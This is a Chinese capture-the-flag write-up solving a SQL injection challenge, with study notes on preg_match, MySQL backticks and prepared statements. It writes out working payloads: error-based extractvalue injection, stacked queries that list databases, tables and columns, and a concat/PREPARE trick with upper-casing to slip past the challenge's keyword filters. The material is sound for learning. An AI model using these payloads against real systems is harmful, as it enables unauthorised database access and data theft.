BUUCTF [强网杯2019] 随便注
一、解题过程
打开后的界面

先看一下页面源码是否隐藏着什么提示

结果发现什么都没有,尝试提交

可以看到实际上是get提交,并且返回了数组的枚举信息
发现只有当inject=1或者2时才存在返回信息。
老方法先尝试添加一个单引号看看是否存在注入,结果发现有报错信息,是一个单引号的字符型注入。
因为存在返回信息所以想着可能是个回显注入,先查看一共有几列:
1' order by 2# 共2列

3' union select 1,2# 确认一下回显位置,结果发现了正则过滤

可以看到图中的preg_match函数,对select、update、delete等关键字进行了正则过滤,大小写不敏感,无法使用大小写进行绕过。但是可以发现这个过滤并不是很全,从前面的步骤中可以看到SQL语句的报错信息是可以返回到页面中来的,所以也许能用报错注入绕过这个函数的过滤。
1' and extractvalue(1, concat(0x7e,database(),0x7e))#

数据库名被成功注出,叫做"supersqli",接着发现当前数据库用户是root。但接下来要注表名、列名和内容的时候避不开要使用select,没见过preg_match并且不了解正则的我就卡在了这里,结果完全忘记尝试堆查询。
看了其他师傅的wp发现原来堆查询还可以这样写:
0';show databases;# 0';show tables;# 0';show columns from `1919810931114514`;# //注意:这里表名要用反单引号`把表名括起来



随后就在名为“1919810931114514”的表中看到了flag字段~
PS:不过show columns只能看到列名无法看到内容
接下来这里用到一个新的学习内容:SQL预处理语句
0';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

没有成功,原因是set和prepare被strstr()过滤了,但是don't worry它是大小写敏感的过滤函数,只需把过滤关键字大写就OK。
0';SET @a=concat("sel","ect flag from `1919810931114514`");PREPARE hello from @a;execute hello;#

这样flag就出来辣!
二、知识点
1、正则表达式
正则表达式是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为“元字符”)。模式描述在搜索文本时要匹配的一个或多个字符串。
想要看懂正则表达式,就需要先了解正则表达式的语法。
正则表达式基本语法详解_正则表达式_脚本之家 (jb51.net)
2、preg_match()函数
(1)语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
-
$pattern: 要搜索的模式,字符串形式。
-
$subject: 输入字符串。
-
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
- $flags:可设置标记值
- $offset: 通常,搜索会从目标字符串的起始位置开始。可选参数 offset 用于指定从目标字符串的某个位置开始搜索(单位是字节)。
- 返回值:返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
(2)查找字符串
利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。
<?php //模式分隔符后的"i"标记这是一个大小写不敏感的搜索 if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "A match was found"; } else { echo "A match was not found"; } ?>
本题中显示的preg_match的意思为,如果检测到语句中有select或update或...\.等关键字、符号(大小写不敏感)时,进行拦截。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
(3)查找单词
<?php /* 模式中的\b标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配单词的部分内容比如"webbing" 或 "cobweb" */ if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) { echo "A match was found.\n"; } else { echo "A match was not found\n"; } if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) { echo "查找到匹配的字符串。\n"; } else { echo "未发现匹配的字符串。\n"; } ?>
(4)获取url中的域名
<?php // 从URL中获取主机名称 preg_match('@^(?:http://)?([^/]+)@i',"http://www.codercto.com/index.html", $matches); $host = $matches[1]; // 获取主机名称的后面两部分 preg_match('/[^.]+\.[^.]+$/', $host, $matches); echo "domain name is: {$matches[0]}\n"; ?>
3、SQL语句中的反单引号`
mysql中引号的用法(反引号``,单引号'',双引号"") - 坚持一点点 - 博客园 (cnblogs.com)
反引号:它是为了区分mysql的保留字与普通字符而引入的符号。也就是说如果要用mysql保留字段做表名和字段名的时候,必须加上反引号来区分,如:`select`
在解题的堆查询注入中,查询表中字段名称的语句一直无法正确执行(0';show columns from '1919810931114514';#),对照了一下别的师傅的wp,发现原来我用的是单引号,而师傅的是返单引号。但1919810931114514并不是mysql的保留字段啊?
于是我查了一下mysql的表名是否可以是纯数字。

这样就清晰了。
4、SQL预处理语句
PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE :执行命令
DEALLOCATE PREPARE:释放命令
用法:
PREPARE stmt_name FROM preparable_stmt EXECUTE stmt_name [USING @var_name [, @var_name] ...] {DEALLOCATE | DROP} PREPARE stmt_name
举个栗子:

确实就像个函数一样,prepare准备了一个函数的定义(是个大框架),set用来设置函数的参数值,execute传参并执行函数。用完了要记得释放:
deallocate prepare study;
也可以像本题目的wp一样,set直接设定好整个SQL语句并将其赋值给变量如@a,prepare study from @a即可。
参考的文章:

浙公网安备 33010602011771号